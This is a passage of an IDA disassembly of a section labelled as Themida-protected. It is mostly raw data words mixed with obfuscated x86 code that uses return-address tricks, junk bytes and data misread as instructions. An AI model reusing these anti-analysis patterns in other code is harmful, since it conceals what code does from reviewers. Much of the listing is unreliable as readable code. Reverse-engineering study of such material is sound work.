0E7F8A5B5h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F97D91F5h, 177E178Dh, 0AE9h, 80053400h, 6FDDE8E0h dd 0FFCAEE4Ch, 0E4097195h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 6D794C30h dd 8166574Bh, 5FCE9AE7h, 0A21BD83h, 0F0207E4h, 7C84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0F60B0BDh, 8166D0BFh, 619665CEh, 0B3DB509h, 858B07E4h dd 7E41EB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0BEC35141h, 53CD9A26h, 0C6C92061h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BDE3DC3h, 0E413E19Dh, 7185C707h, 7E426h, 66000000h dd 0E9A549BFh, 0FFFFF2F4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 80C35242h, 92C2DDEDh, 0DE9h, 0C8927E00h dd 637D83D3h, 0A93B9CFBh, 0BD8BD46Ch, 7E427B1h, 0DE8BC18Bh dd 11E8h, 5D07D300h, 119046D3h, 577A7C80h, 3AFA08BDh, 858B3DCEh dd 7E42C49h, 32C7815Fh, 8B000068h, 0E426AD9Dh, 6807h, 85310000h dd 7E426D9h, 8E95Ah, 0C6760000h, 4CF741CCh, 348B6496h dd 65958917h, 8107E405h, 0BF6FD3F6h, 6AEE8124h, 571A4CB8h dd 2B3016BBh, 0EE815924h, 17D7CDFAh, 96AFE8B8h, 10E8566Ah dd 0D7000000h, 0E26888E2h, 44890FA3h, 8E57E5D7h, 0FDB19B8h dd 388h, 0CBD58000h, 17048F5Bh, 9607BDBBh, 158D8B1Fh, 8107E426h dd 8BC304EAh, 1D8D8B58h, 8107E424h, 8BC300C2h, 8E858h db 2 dup(0) word_5DA21A dw 0F4D1h ; DATA XREF: Themida_:005838E8o ; --------------------------------------------------------------------------- pop ebx fst qword ptr [eax] lahf mov bh, 65h mov [ebp+7E413EDh], ebx pop eax cmp edx, 0FFFF98B8h jnz loc_5DA24C mov ebx, [ebp+7E430A9h] jmp loc_5DA25F ; --------------------------------------------------------------------------- dd 1201288Eh, 42FC67B2h, 0BAFDA66Dh ; --------------------------------------------------------------------------- loc_5DA24C: ; CODE XREF: Themida_:005DA22Fj mov ebx, edi jmp near ptr dword_5D9DB4+3FAh ; --------------------------------------------------------------------------- db 0FBh dd 0AEAE21C0h, 248CB45Dh ; --------------------------------------------------------------------------- and al, 0BCh push es loc_5DA25F: ; CODE XREF: Themida_:005DA23Bj lea ecx, [ebp+7E97E8Ch] push ebx jmp loc_5DA275 ; --------------------------------------------------------------------------- db 25h dd 982FF8A3h, 0C07830F4h db 4 ; --------------------------------------------------------------------------- loc_5DA275: ; CODE XREF: Themida_:005DA266j pop edi xor dl, 52h mov [ebp+7E41B71h], ecx push 0 push esi call sub_5DA28A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA28A proc near ; CODE XREF: Themida_:005DA282p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5DA28A endp ; --------------------------------------------------------------------------- dw 0A6EDh ; --------------------------------------------------------------------------- mov dword ptr [ebp+7E42DA1h], 7144h push 0 push edx call sub_5DA2B1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA2B1 proc near ; CODE XREF: Themida_:005DA2A9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5DA2B1 endp ; --------------------------------------------------------------------------- and esi, esi les esi, [ecx+eax-1BEBA27Bh] pop es mov dword ptr [ebp+7E422B9h], 0 mov esi, 102E9FACh push dword ptr [ebp+7E40919h] mov [ebp+7E4356Dh], edx or [ebp+7E41B49h], ebx call dword ptr [ebp+7E43061h] push 0 push edx call sub_5DA2FD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA2FD proc near ; CODE XREF: Themida_:005DA2F5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5DA2FD endp ; --------------------------------------------------------------------------- clc dec bx push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5DA37A ; --------------------------------------------------------------------------- dd 9D614602h, 4C2DDBF5h, 12C6E424h, 0E27DD0B1h, 64CE43E6h dd 6AB3EDE6h, 6B1210DAh, 0F671BA5h, 3DFC382Dh, 94ED015Dh dd 0D729D728h, 972A530h, 35D49FB7h, 661514D2h, 40B4B1CEh dd 764359Eh, 0F9C06354h, 5A69986Ah, 73BF51AEh, 775C70C7h dd 798CB7B0h, 3401722Dh, 30148F41h ; --------------------------------------------------------------------------- fsub dword ptr [edi] loc_5DA37A: ; CODE XREF: Themida_:005DA31Aj lea ecx, [ebp+7E97F64h] mov bx, ax js loc_5DA38F mov ebx, [ebp+7E42389h] loc_5DA38F: ; CODE XREF: Themida_:005DA383j mov [ebp+7E41B71h], ecx mov [ebp+7E40045h], esi mov dword ptr [ebp+7E42DA1h], 6F9Ch jns loc_5DA3C4 jnb loc_5DA3C4 jmp loc_5DA3C4 ; --------------------------------------------------------------------------- dw 58DCh dd 0A9896A00h, 0EAAC3E32h, 0CEA425CCh ; --------------------------------------------------------------------------- loc_5DA3C4: ; CODE XREF: Themida_:005DA3A5j ; Themida_:005DA3ABj ... mov dword ptr [ebp+7E422B9h], 0 add ax, 0A6ADh push dword ptr [ebp+7E42BF1h] mov dx, ax loc_5DA3DC: ; CODE XREF: Themida_:005DA439j call dword ptr [ebp+7E43061h] xor [ebp+7E40D35h], esi ; CODE XREF: Themida_:005DA410j push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5DA40E ; --------------------------------------------------------------------------- dd 26C82F28h, 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h dd 2E337FC0h db 59h, 9Ah ; --------------------------------------------------------------------------- loc_5DA40E: ; CODE XREF: Themida_:005DA3F2j fisubr word ptr [edx] jno short near ptr loc_5DA3E2+4 aam 46h dec ebx fadd qword ptr [ecx] jg short near ptr loc_5DA46A+4 enter 5CD4h, 52h cwde arpl [ebx], si or ebp, [ecx-67D9CC57h] icebp pop edx db 26h pop esi out dx, eax push ds or bh, [edx+esi+60h] loc_5DA430: ; CODE XREF: Themida_:005DA491j dec esi mov ah, 0FFh in al, 0A5h ; Interrupt Controller #2, 8259A db 67h clc jb short loc_5DA440 jl short loc_5DA3DC mov esi, 0D4E33FA3h loc_5DA440: ; CODE XREF: Themida_:005DA437j and [edi+79h], esp mov edx, 0D7F455A3h and [ebx], ebx xlat outsb daa jl short near ptr loc_5DA480+1 xor ebp, [ecx] sbb eax, 98263383h sal byte ptr [esi+344FE7B5h], 76h adc eax, 7159B6D6h scasb arpl cx, bx or eax, 9FC21319h loc_5DA46A: ; CODE XREF: Themida_:005DA417j and dword ptr [esi-68h], 35h pop ecx and edx, ds:7159A61Fh dec edx arpl [ebx-30B3DCE3h], bp lahf add ecx, esp loc_5DA480: ; CODE XREF: Themida_:005DA44Dj mov bl, 35h mov edx, 149321D7h cmp al, 0A2h mov eax, ds:1526336Ah mov al, 0A6h pop ecx jno short loc_5DA430 arpl si, cx stosb dec ebp xor esp, [esi] fdiv st, st(6) mov esi, 0DA2C03A3h loc_5DA4A0: ; CODE XREF: Themida_:005DA4CFj and eax, ecx and al, 0B6h mov bl, 0E7h cmp eax, 0FF677634h pop edx pop es jl short loc_5DA4E1 mov al, 0E2h xchg eax, esp pop ss mov dh, 0B3h out 0A4h, eax ; Interrupt Controller #2, 8259A xor al, 76h adc eax, 7159B623h push esp arpl cx, bx or eax, 9FC21364h cmp eax, 6A982651h lodsw jz short loc_5DA533 db 64h jz short loc_5DA4A0 adc [esi+2Eh], ecx stosd ; --------------------------------------------------------------------------- dw 0DA8Dh ; --------------------------------------------------------------------------- and al, 98h cmpsb xor esp, [esi-21h] ror dword ptr [esi], cl loc_5DA4E1: ; CODE XREF: Themida_:005DA4ADj xchg eax, edi sub al, 0C6h fldenv byte ptr [edi+2Bh] add bh, ch adc edx, [edi] cmp ecx, edi mov dl, 35h xor esp, [esi] stosd dec eax mov ecx, 3A71831h lodsd push 5AAD63E8h add [eax+33A9982Ch], cl iret ; --------------------------------------------------------------------------- db 9Bh, 0D4h, 33h dd 7D896F26h, 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h, 38EEDF7Eh dd 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh, 0B0881526h db 59h, 71h, 9Dh ; --------------------------------------------------------------------------- loc_5DA533: ; CODE XREF: Themida_:005DA4CDj mov esi, 0DACD20ABh and [eax], esp xchg eax, ebx ; --------------------------------------------------------------------------- db 0 dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 0B8B58DFFh, 8D07E980h, 0E980D78Dh, 83CF2B07h, 0C88B05E9h dd 13E8h, 0E75B7600h, 0F4BBC2FCh, 7528F235h, 15ABBBB7h dd 7D69B573h, 95895BF5h, 7E420E5h, 7157C381h, 9D010000h dd 7E414E9h, 0BAh, 1A34FF00h, 1471858Bh, 0F85E07E4h, 7FDEE81h dd 0F6816488h, 3DB85D4Dh, 19820Fh, 14E90000h, 43000000h dd 0D949A581h, 0CF9004ADh, 98BDE702h, 3F492312h, 8168B2EDh dd 47BBBBC6h, 3FD48041h, 0F5133489h, 0E904EA83h, 10h, 563FACA9h dd 0EC083FBEh, 0E48F91F7h, 68CADC83h, 8F68FA81h, 850FFFFFh dd 1Dh, 13B1BD01h, 25E907E4h, 71000000h, 0CFCE9C80h, 41B74BD0h dd 0B863CCA8h, 8D923594h, 0FDB58942h, 0E907E42Fh, 0FFFFFF71h dd 0D8E835CAh, 80008EEFh, 823F8D8Dh, 0BA6607E9h, 8D896A68h dd 7E41B71h, 2850Fh, 0ECB40000h, 53DB58Bh, 85C707E4h, 7E42DA1h dd 5D54h, 87C38166h, 0B985C742h, 7E422h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 5D15C351h, 0B5FF8EA9h, 7E40919h, 14E8h, 0C9A41E00h dd 5D0D268Bh, 4B13ED1h, 0E2184FA4h, 92EA333h, 0CE97Bh dd 0C890000h, 0A686D859h, 0BBDBFB80h, 0FF58494Fh, 0E4306195h dd 0D6BF6607h, 0A5F081E4h, 6A3DA6EEh, 4195FF00h, 8B07E40Eh dd 185EEBC0h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h, 116D8F10h dd 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h, 43F6AA6h dd 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh, 1E08F1F3h dd 7C58283Fh, 0F7426E92h, 0F8078817h, 6EC51083h, 98D91AF3h dd 9775086Eh, 48027647h, 6881010h, 5F38D6A0h, 0A68D8D36h dd 6A07E983h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0D85FC350h, 41DB89DCh, 0D08B6664h dd 0CB99BF66h, 1B718D89h, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9FA87AC3h, 47170C9Fh dd 0A185C7F6h, 2C07E42Dh, 6A000067h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8C74C356h dd 0BDB03C64h, 22B985C7h, 7E4h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E1A46C3h dd 60A6BCC4h, 0B560EB0h, 0E4070DB5h, 51615807h, 0B5FF5BF5h dd 7E42291h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 6DC35646h, 1648A8EDh, 0FE22E1Ah, 68Ah, 0DDBD8B00h dd 0FF07E402h, 0E4306195h, 259CBE07h, 6A43A0h, 0E4195FFh dd 0C08B07E4h, 0B1296FEBh, 6D69C59Dh, 7746807Bh, 271B65EAh dd 124FBEE6h, 0CC5CB780h, 0CD110717h, 3E4F9AD8h, 24B89327h dd 8A1F0C0h, 0E87602Eh, 747CBA3Ah, 1B797235h, 800D1BDBh dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 0FCE75B76h, 35F4BBC2h dd 0B77528F2h, 7315ABBBh, 417D69B5h, 4CE2F3B6h, 0D2368F93h dd 134FA557h, 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 888A4EF8h dd 0F3F4D7BAh, 94127A8Ch, 7974C536h, 79345FB2h, 40176D5h dd 0FB52E828h, 7402E4F1h, 0F5882E31h, 77E50348h, 99F116BCh dd 0A3FEC2D7h, 0CD82BA6Ah, 77E57804h, 2016CC31h, 7402E462h dd 0F5882E31h, 77E50348h, 96DE16BCh, 0A3FEC2D7h, 706BBA6Ah dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 70151315h dd 25448B31h, 0F50829F2h, 77E5F1C8h, 73DCECBAh, 0CD88BFD5h dd 77E55148h, 706BEEBAh, 7002FF63h, 2A218B31h, 24889FF2h dd 3480E615h, 70167515h, 2243B831h, 34D6C1F2h, 0A88D48A4h dd 9856175Bh, 70018B32h, 2FC29A11h, 74259EB8h, 742535B0h dd 7001B82Bh, 14C20B76h, 8F40AA2Bh, 0ED8850AAh, 77E589E8h dd 0F40EC199h, 7001E1B7h, 6D50E4BAh, 0CD82BFD5h, 77E5521Ch dd 23852131h, 1A011731h, 73E9DC31h, 5001C531h, 0F95E216Eh dd 0F105554Dh, 6B059C75h, 37015C31h, 213FED66h, 78AAC75Eh dd 0E522D439h, 77E5CFB4h, 7002A7D8h, 25011B31h, 7001BBD9h dd 0B35C7C31h, 546DA76Ch, 54459635h, 70019635h, 0B3548031h dd 726CC45Ah, 723EB7Ch, 70BF4917h, 0FB035C16h, 941B33ACh dd 60849A36h, 1A066CFDh, 73E99731h, 5001E231h, 0F95BB26Bh dd 0F1059C65h, 65057875h, 32012E31h, 0F4ABD463h, 68F016B8h dd 8FF9C2D5h, 0F5FF69E1h, 0C2857EF1h, 1A01B831h, 73E90A31h dd 50012E31h, 0F95FD46Fh, 0F105AF45h, 6705E175h, 3601E231h dd 3FE8B267h, 9F80A826h, 42D2728Fh, 0F1D0913Eh, 0F1674009h dd 478484CAh, 1A01C531h, 73E9B031h, 50017131h, 0F95B7B6Bh dd 0F1057865h, 65050A75h, 32011731h, 2A9F4863h, 52205812h dd 0F167E5D5h, 72037549h, 72C13C3Eh, 0F70E5C31h, 70012E33h dd 0F167E2BBh, 7F611709h, 7001F9B4h, 768EED31h, 0F9017131h dd 9405B5ACh, 7279DC36h, 568421D9h, 16011731h, 0F16775BAh dd 0DB01C349h, 7016673Eh, 0C5887131h, 77E5A6F8h, 700321D8h dd 76882131h, 0F9011731h, 940BA6A4h, 71017B36h, 706BA430h dd 70029964h, 2D21B831h, 1C8801F2h, 34802A15h, 701D1315h dd 25448B31h, 29FACBF2h, 8D80C95Ch, 62E8688Ah, 6F01B831h dd 0E03F920Ch, 44302F88h, 0D61FE600h, 91C56219h, 459C4C4Ch dd 0FD06063Bh, 97CD61B4h, 0B58C3336h, 8F06B826h, 210144E1h dd 700114D9h, 0B358AB31h, 544D4C68h, 54456335h, 70016635h dd 0B350F931h, 48ECE12Bh, 0E386CCB0h, 23B20D44h, 0F40E4BB4h dd 7001C49Bh, 9851E25Bh, 70017132h, 28C2E011h, 742518B8h dd 74256AB0h, 7001172Ah, 19C2DB71h, 16C2A7Ch, 71300381h dd 9412D884h, 16393936h, 7F035E0Ch, 700167B4h, 21017D31h dd 700188D9h, 0B358E531h, 544D6B68h, 5445F035h, 7001A235h dd 0B3501D31h, 98639AFAh, 981D0B7Eh, 70018B3Ah, 0CFDD8336h dd 0DE233965h, 7F8C1918h, 0F15A698Eh, 4D675A49h, 0F40E546Eh dd 70011647h, 6268363Ah, 0F167C2D5h, 7F617E09h, 700159B4h dd 8814431h, 0F50EB433h, 70012E2Ch, 16D0A83Eh, 7007F3B0h dd 7E84CAF1h, 0F901E231h, 941290A4h, 71415136h, 0B2815C31h dd 7101908Ch, 0AF816930h, 60840626h, 7F0622FDh, 7001E7B5h dd 0DEAAC831h, 0A0FE8DE8h, 5EA8C900h, 0B08429D5h, 70D1933Eh dd 0FE0E8B31h, 7001C537h, 563877BAh, 488176D5h, 3384B7D9h dd 0F1015C31h, 4325D4E2h, 75799757h, 43848442h, 1A01C531h dd 73E9B331h, 50017131h, 0F9587B68h, 0F105787Dh, 6B050A75h dd 31011731h, 0F1284860h, 0F461B062h, 881F566h, 0F40E2236h dd 7001B8F3h, 73E8C912h, 0F16729D5h, 7F049809h, 7001E6B4h dd 2101AF31h, 7001E1D9h, 0B3585131h, 544D3168h, 5445DD35h dd 70013835h, 0B3505631h, 7F59FE0Ah, 8810F8Eh, 0F50E8A37h dd 70017173h, 5B7C35BAh, 0F1675BD5h, 55FE2549h, 7031923Eh dd 706B8B31h, 70022D61h, 2821E231h, 348829F2h, 3480BC15h dd 701D5815h, 20412E31h, 404E7F2h, 0D264D06Dh, 0CF0E1FA6h dd 70490BE9h, 0C9677131h, 0B02AD476h, 0C817EF51h, 234AEEC8h dd 7046FE50h, 706B8B31h, 70022D66h, 2F21E231h, 0C882EF2h dd 3480BC15h, 70185815h, 27462E31h, 0CC1C7EF2h, 105E0978h dd 77AC70BAh, 0F167E5D5h, 11A1E0FBh dd 52980DB8h, 71B95BD5h, 7F012E31h, 70011FB3h, 728F8431h dd 0FA01C531h, 7F6172C4h, 700171B3h, 0E051D931h, 98505C5Bh dd 70012E32h, 29C24E11h, 7425C7B8h, 742581B0h, 7001E22Ah dd 44C22070h, 3AB9B1DCh, 85139D9Fh, 0F41B93BCh, 0FD8C10D8h dd 77E80224h, 1654E689h, 0D184E146h, 5B06952Fh, 710190FEh dd 0AF816930h, 60840626h, 7F0622FDh, 7001E7B5h, 0DEAAC831h dd 0A0FE8DE8h, 0F305E983h, 0BD8958A4h, 7E42EE1h, 60CA8B66h dd 0C59D8B56h, 5B07E405h, 61C6BF0Fh, 840FC00Bh, 7Bh, 14E8h dd 872E7900h, 0C02062FCh, 5CD8DF1Ch, 929218DFh, 0D7E19ED4h dd 0F99589B8h, 5F07E41Dh, 4FE7B58Dh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BEBB98C3h dd 0B340BC64h, 3B8DDh, 0CE90000h, 0F1000000h, 0F81E2B24h dd 61E6B0E0h, 0E93F103Dh, 0Fh, 0BBF590Dh, 0EF26CDBFh, 81146E4Ch dd 0FF208290h, 58D8BE6h, 4007E42Bh, 6CA6C381h, 0C08B3322h dd 83CF8B66h, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h dd 8B535019h, 403B8C0h, 85890000h, 7E40EEDh, 0EA579D8Dh dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h, 403B853h dd 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h, 890F585Bh dd 6, 20358D89h, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 3A15C0C3h, 0F666CD7Fh dd 8B665221h, 0C08B5BFBh, 0BF0F5F52h, 12E861CFh, 5C000000h dd 3E5C69F2h, 0EF8B8016h, 0B3E47FDBh, 2FD0B3h, 9E99Bh dd 9CF50000h, 70FB772Dh, 5BCCE960h, 81C3BF0Fh, 635EC3h dd 0F78B6600h, 88BE32B9h, 81E98165h, 666588A5h, 33FFC18Bh dd 5AD48FB8h, 9D895A1Fh, 7E42DFDh, 5F0AF281h, 8A0F55C2h dd 7, 36B8BF56h, 81584C4Dh, 0DBFDEAEAh, 10E96Eh, 0D1060000h dd 4C20BEF1h, 0BED4F249h, 0AC19E3ADh, 0EA81980Fh, 336CAD1Ah dd 5AEDBE66h, 0EB831389h, 5DB58B01h, 4B07E430h, 0E9834B4Bh dd 0A3850F01h, 23FFFFFFh, 0E42A2DB5h db 7 byte_5DAF8D db 0E8h, 0Fh, 0 ; DATA XREF: Themida_:00585288o dd 0B19F0000h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h, 0FD9D8B22h dd 5E07E40Dh, 0C681D68Bh, 6343h, 0ABB8D58Ah, 0E9000018h dd 12h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 36FF57E5h, 0EF18589h, 0F5F07E4h, 0C781D0B7h, 7F481B8Ch dd 0C78107B1h, 0B8F7F22h, 0EF81CF8Bh, 2786B6E9h, 12E8h db 0 byte_5DAFF5 db 0Dh, 72h, 21h ; DATA XREF: Themida_:005825B0o dd 0F2D6DA28h, 0EA53200Bh, 1BA9B049h, 0B1030C6Bh, 3E895BEDh dd 85A7C981h, 0EE834CF8h, 1DB96603h, 8D8B4EAAh, 7E40279h dd 0F01E883h, 0FFFFA585h, 96BA66FFh, 24786CB6h, 2411EE57h dd 7A320301h, 509BDFC2h, 6093C425h, 240E6425h, 72543001h dd 82EB9CC2h, 0FF760540h, 0B99B4CD3h, 23F60224h, 0CCCA0D67h dd 2412C012h, 7E6377E7h, 5D824E27h, 0C0DE63E8h, 0A5E0482Fh dd 0AF88D3C7h, 0C031D29Ch, 20BADE06h, 263C440Eh, 24786001h dd 2411D854h, 79321801h, 489B51C2h, 60930225h, 240A0725h dd 71578101h, 0A4AE1EC2h, 0C6928530h, 9AFB3C6h, 2415FC0Fh dd 2436880Eh, 0B9990601h, 23F6005Ch, 1B148Ah, 0C9FBC7E5h dd 0CD126000h, 2412300Fh, 0CFB5C710h, 773D756Fh, 98CEE4Ah dd 73421810h, 0CF523F67h, 16495Bh, 0F7F588h, 251D37E5h dd 2DEC3C4Dh, 0C00F418Ch, 24785E06h, 2411EB56h, 7B328101h dd 589B9FC2h, 60936425h, 24053425h, 73551801h, 92D103C2h dd 0E491FE3Ch, 7212692Dh, 241282E9h, 0E74CE001h, 66E95Fh dd 56B105h, 24120C05h, 0E7444A01h, 0AF1A8D2Bh, 6C9965D6h dd 7512EBFDh, 2412C3E9h, 0E74B4001h, 5EB958h, 569905h dd 24121705h, 0E7434701h, 0B248C227h, 4D8A50Bh, 2412CAE9h dd 6F659D01h, 505C305Dh, 0AF3D198Eh, 0C03E3D94h, 0A5745D06h dd 2BED3538h, 24125685h, 7612AA01h, 241263E9h, 0E7481001h dd 46915Bh, 568D05h, 24121E05h, 0E7404101h, 13550FADh dd 2297CF4Dh, 2D126001h, 0C00D9994h, 2DD39B06h, 241209E8h dd 79DE6401h, 1D92B95Bh, 0D5978EE8h, 4E12C001h, 27FA3201h dd 4123001h, 0AD48DB5Bh, 0A5162855h, 38162245h, 66120301h dd 0FCFB4253h, 7725B4B7h, 0AF68CF52h, 0A81D3140h, 24121801h dd 0F9C5E380h, 0EC111269h, 0CC41036Bh, 24128102h, 7FD19B21h dd 20363C88h, 20367480h, 24121815h, 60D15F42h, 24CF8388h dd 0E59104E5h, 7212EB04h, 2412C3E9h, 0E74C4001h, 66B95Fh dd 569905h, 24121405h, 0E7444001h, 0C9EC4C5Bh, 0F599E73Ah dd 6F82F980h, 0A11DEB42h, 24123069h, 5A0CEF80h, 913B3491h dd 23F62A24h, 6BF58E8Ch, 0B12386E5h, 23F6D5D8h, 241263B9h dd 77125A01h, 24121BE9h, 0E7492C01h, 4E8F5Ah, 568205h dd 24129605h, 0E7418301h, 0B348D878h, 2414BF0Eh, 0A93B1801h dd 23F610FCh, 241209E9h, 0F1FEA501h, 0A50DE0F9h, 0ABF88168h dd 0D8DD4A26h, 7BE5BB67h, 919BF9FEh, 23F612FCh, 241FEE60h dd 0DE120301h, 3DA258C3h, 9AB2DE22h, 939C9140h, 999F6AD0h dd 23FB93A3h, 0AA45818Ch, 50AA01E8h, 17139182h, 0C0208084h dd 0E5DDEB06h, 24786CE8h, 2411EE57h, 7A320301h, 509BDFC2h dd 6093C425h, 240E6425h, 0E9833001h, 8BA4F305h, 895053C0h dd 0E420AD8Dh, 6A5A5B07h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 3B97C350h, 5A51111Ah dd 1D198D29h, 0C38B07E4h, 8F698D8Dh, 8B6607E9h, 718D89DAh dd 3107E41Bh, 0E405F985h, 0A185C707h, 2407E42Dh, 6A000064h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0C663C351h, 699D8BD7h, 2307E41Bh, 0E42571BDh dd 0B985C707h, 7E422h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5322C353h dd 0F6AC66Ch, 682h, 71B58B00h, 0FF07E403h, 0E41E15B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 601A085Dh, 8BF564F3h, 0E41F0995h, 6195FF07h dd 0B07E430h, 0E431CDBDh, 0FF006A07h, 0E40E4195h, 0EBC08B07h dd 43A70779h, 0DDF04C19h, 60D167h, 5EFA64A2h, 9068D610h dd 5501F5A3h, 0EE8DBEAh, 248726B5h, 83019BF1h, 4AC79DABh dd 648DF453h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 0DE486089h dd 661A5E24h, 0D5071B85h, 170AFBA1h, 390ADD25h, 0E52BE12Ah dd 86E82363h, 7C2D4B36h, 0E0055411h, 0F6997C7h, 0B7F887Fh dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h dd 9D8D8DC7h, 7E407B9h, 0CEB8h, 39858900h, 0E807E40Bh dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5DB563 ; --------------------------------------------------------------------------- byte_5DB495 db 2 dup(0), 0F2h ; DATA XREF: Themida_:00582C44o dd 32h dup(0F2000076h) db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5DB563: ; CODE XREF: Themida_:005DB490j ; Themida_:005DB5DCj lea ecx, [ebp+7E991BFh] jmp loc_5DB581 ; --------------------------------------------------------------------------- mov ecx, 0D3E866C7h and ebx, eax mov al, ds:0BCC825A8h retf 2848h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0C3Ch db 82h ; --------------------------------------------------------------------------- loc_5DB581: ; CODE XREF: Themida_:005DB569j mov dh, 6Bh mov [ebp+7E41B71h], ecx mov edi, [ebp+7E4089Dh] mov dword ptr [ebp+7E42DA1h], 5810h sub bh, 0D7h mov dword ptr [ebp+7E422B9h], 0 push 0 push edi call sub_5DB5B1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DB5B1 proc near ; CODE XREF: Themida_:005DB5A9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5DB5B1 endp ; --------------------------------------------------------------------------- jle short loc_5DB5D8 enter 188Ch, 0B9h jmp near ptr loc_5DB5DC+1 ; --------------------------------------------------------------------------- dd 79F50B0Dh, 7B73B324h, 0A1A0A75Eh ; --------------------------------------------------------------------------- loc_5DB5D8: ; CODE XREF: Themida_:005DB5C1j fdivr dword ptr [esi+52h] popa loc_5DB5DC: ; CODE XREF: Themida_:005DB5C7j jno short near ptr loc_5DB563+4 mov ch, 91h xor esp, esp pop es pusha xor [ebp+7E408A1h], edx cld popa push dword ptr [ebp+7E40635h] push 0 push eax call sub_5DB5FD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DB5FD proc near ; CODE XREF: Themida_:005DB5F5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5DB5FD endp ; --------------------------------------------------------------------------- or eax, 8589ADEFh icebp adc al, 0E4h pop es call dword ptr [ebp+7E43061h] push 0 push ebp call sub_5DB627 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DB627 proc near ; CODE XREF: Themida_:005DB61Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5DB627 endp ; --------------------------------------------------------------------------- db 0F0h dd 130CDBCEh, 0C5858B39h, 6A07E41Ch, 4195FF00h, 8B07E40Eh dd 828EBC0h, 0EB5660Ah, 394770F8h, 60413F4Dh, 0B0F1EB90h dd 1792E761h, 0F0172F7Dh, 68F091BEh, 74699AFAh, 0F11B980h dd 0E90C8437h, 99h, 5346B52Eh, 646E6957h, 2073776Fh, 43205058h dd 6B636568h, 42206465h, 646C6975h, 766E4520h, 6E6F7269h dd 746E656Dh, 70202D20h, 206C7265h, 74736574h, 6C702Eh dd 18h dup(0) dd 100CE900h, 42680000h, 0E907E994h, 0FFFBCC21h, 0E9955968h dd 0CC17E907h, 4D68FFFBh, 0E907E997h, 0FFFBCC0Dh, 0E9978C68h dd 0CC03E907h, 6068FFFBh, 0E907E998h, 0FFFBCBF9h, 0E998FC68h dd 0CBEFE907h, 2368FFFBh, 0E907E99Dh, 0FFFBCBE5h, 0E99FE368h dd 0CBDBE907h, 1768FFFBh, 0E907E9A1h, 0FFFBCBD1h, 8DC098C2h dd 4275E178h, 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h dd 0F56277AAh, 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FF20ABDBh dd 0FBFCB023h, 8ED27CD9h, 6194BA9Bh, 0FB4F04EBh, 0A8BECAh dd 68B2FB57h, 0F9A34285h, 9DB86523h, 0D11A6DB1h, 